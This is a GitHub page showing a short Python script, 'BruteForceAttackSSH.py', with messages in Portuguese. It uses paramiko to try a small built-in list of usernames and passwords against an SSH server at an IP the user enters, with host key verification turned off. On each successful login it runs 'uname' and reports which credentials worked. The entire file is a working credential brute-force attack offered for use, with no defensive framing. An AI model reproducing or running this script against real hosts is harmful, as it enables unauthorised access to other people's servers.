-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBruteForceAttackSSH.py
43 lines (33 loc) · 1.44 KB
/
BruteForceAttackSSH.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import argparse, paramiko
class AllowAnythingPolicy(paramiko.MissingHostKeyPolicy):
def missing_host_key(self, client, hostname, key):
return
def main(hostname, username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(AllowAnythingPolicy())
client.connect(hostname=hostname, username=username, password=password)
for command in 'echo "Script criado por Eric Reis"','uname':
stdin, stdout, stderr = client.exec_command(command)
stdin.close()
print(repr(stdout.read()))
stdout.close()
stderr.close()
client.close()
def bruteForce(InfoHostname):
listalogin=['root', 'toor', 'teste']
listasenha=['1234', '12345', 'root']
listatotal = len(listalogin)
listaStotal = len(listasenha)
for login in range(listatotal):
for senha in range(listaStotal):
try:
main(hostname=InfoHostname, username=listalogin[login], password=listasenha[senha])
print(f'Sucesso, usuario: {listalogin[login]} e Senha: {listasenha[senha]} correto!!')
except paramiko.ssh_exception.AuthenticationException:
print(f'Erro, usuario: {listalogin[login]} e Senha: {listasenha[senha]} incorreto!!')
pass
if __name__ == '__main__':
InfoHostname = input('Insira o IP alvo :')
print('Iniciando o Brute Force....')
bruteForce(InfoHostname)
print('Brute Force finalizado....')